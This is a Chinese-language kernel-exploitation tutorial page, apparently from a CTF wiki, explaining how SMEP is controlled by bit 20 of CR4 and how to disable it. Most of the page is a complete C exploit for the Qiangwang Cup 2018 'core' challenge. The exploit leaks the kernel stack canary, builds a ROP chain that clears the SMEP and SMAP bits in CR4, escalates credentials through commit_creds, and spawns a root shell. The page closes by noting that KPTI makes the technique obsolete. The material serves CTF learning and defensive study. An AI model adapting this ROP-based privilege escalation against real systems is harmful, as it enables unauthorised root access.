跳转至

bypass-smep (已过时)

SMEP

为了防止 ret2usr 攻击,CPU 开发者提出了 smep 保护——Supervisor Mode Execution Protection,其作用是当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误。

在 ARM 架构中有一种类似的保护称为 PXN

对于使用 QEMU 启动的 Linux VM 而言,我们可以通过查看启动参数中的 CPU 参数确定是否开启了 SMEP 保护:

$ cat run.sh | grep -i smep
    -cpu kvm64,+smep,+smap \

也可以通过查看 /proc/cpuinfo 文件进行确定:

~ $ cat /proc/cpuinfo | grep -i smep
flags           : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse......

smep 和 CR4 寄存器

控制寄存器组中的 CR4 寄存器用以控制 CPU 的各种特性,CPU 根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

smep

例如,当 $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000 时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要执行下面的汇编指令:

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep 保护。

使用 GDB 调试内核时,我们可以通过 info register cr4 命令查看当前 CPU 的 CR4 寄存器的值以及对应启用的标志位:

(gdb) info registers cr4
cr4            0x3006f0            [ SMAP SMEP OSXMMEXCPT OSFXSR PGE MCE PAE PSE ]

例题:强网杯2018 - core

这一次我们在启动脚本中添加上 smep 与 smap 的选项:

qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

之后我们重新运行之前的 ret2usr 的 exp,发现直接 kernel panic 了,这是因为我们想要执行用户空间的函数指针,触发了 SMEP 保护

image.png

那么这里我们只需要通过 ROP 来关闭 SMEP&SMAP 即可继续 ret2usr,这里笔者用与运算将 SMEP 与 SMAP 的两位给清除掉了,实际上直接给 cr4 赋值 0x6f0 也是可以的(通常关了以后都是这个值)。

最终的 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    log_success("[*] Status has been saved.");
}

void get_root_shell(void)
{
    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("/bin/sh");

    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void)
{
    prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
    commit_creds_kfunc = (int (*)(void*)) commit_creds;

    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "sub rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, get_root_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );
}

/**
 * Challenge Interface
**/

void core_read(int fd, char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

/**
 * Exploitation
**/

#define COMMIT_CREDS 0xffffffff8109c8e0
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET 0xffffffff8106669c
#define POP_RDI_RET 0xffffffff81000b2f
#define AND_RAX_RDI_RET 0xffffffff8102b45b
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515

void exploitation(void)
{
    FILE *ksyms_file;
    int fd;
    char buf[0x1000], type[0x10];
    size_t addr;
    size_t canary;
    size_t rop_chain[0x100], i;

    log_info("[*] Start to exploit...");
    save_status();

    fd = open("/proc/core", O_RDWR);
    if(fd < 0) {
        log_error("[x] Failed to open the /proc/core !");
        exit(EXIT_FAILURE);
    }

    /* get addresses of kernel symbols */

    log_info("[*] Reading /tmp/kallsyms...");

    ksyms_file = fopen("/tmp/kallsyms", "r");
    if(ksyms_file == NULL) {
        log_error("[x] Failed to open the sym_table file!");
        exit(EXIT_FAILURE);
    }

    while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
        if(prepare_kernel_cred && commit_creds) {
            break;
        }

        if(!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf(
                SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")   
               "%lx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf(SUCCESS_MSG(
                "[+] Successful to get the addr of prepare_kernel_cred: ")
               "%lx\n", prepare_kernel_cred);
            continue;
        }
    }

    kernel_offset = commit_creds - COMMIT_CREDS;
    kernel_base += kernel_offset;
    printf(
        SUCCESS_MSG("[+] Got kernel base: ") "%lx"
        SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
        kernel_base,
        kernel_offset
    );

    /* reading canary value */

    log_info("[*] Reading value of kernel stack canary...");

    set_off_val(fd, 64);
    core_read(fd, buf);
    canary = ((size_t*) buf)[0];

    printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

    /* building ROP chain */

    rop_chain[8] = canary;
    i = 10;
    rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + kernel_offset;
    rop_chain[i++] = *(size_t*) "arttnba3";
    rop_chain[i++] = *(size_t*) "arttnba3";
    rop_chain[i++] = POP_RDI_RET + kernel_offset;
    rop_chain[i++] = 0xffffffffffcfffff;
    rop_chain[i++] = AND_RAX_RDI_RET + kernel_offset;
    rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + kernel_offset;
    rop_chain[i++] = (size_t) ret2usr_attack;

    /* exploitation */

    log_info("[*] Start ret2usr attack with smep-bypass in kernel space...");

    write(fd, rop_chain, 0x800);
    core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char ** argv)
{
    exploitation();
    return 0;   /* never arrive here... */
}

其他

正如我们在 ret2usr 一节中所言,对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着 ret2usr 已经是过去式了, 相应地,与之伴生的 smep bypass 也便成为了过去式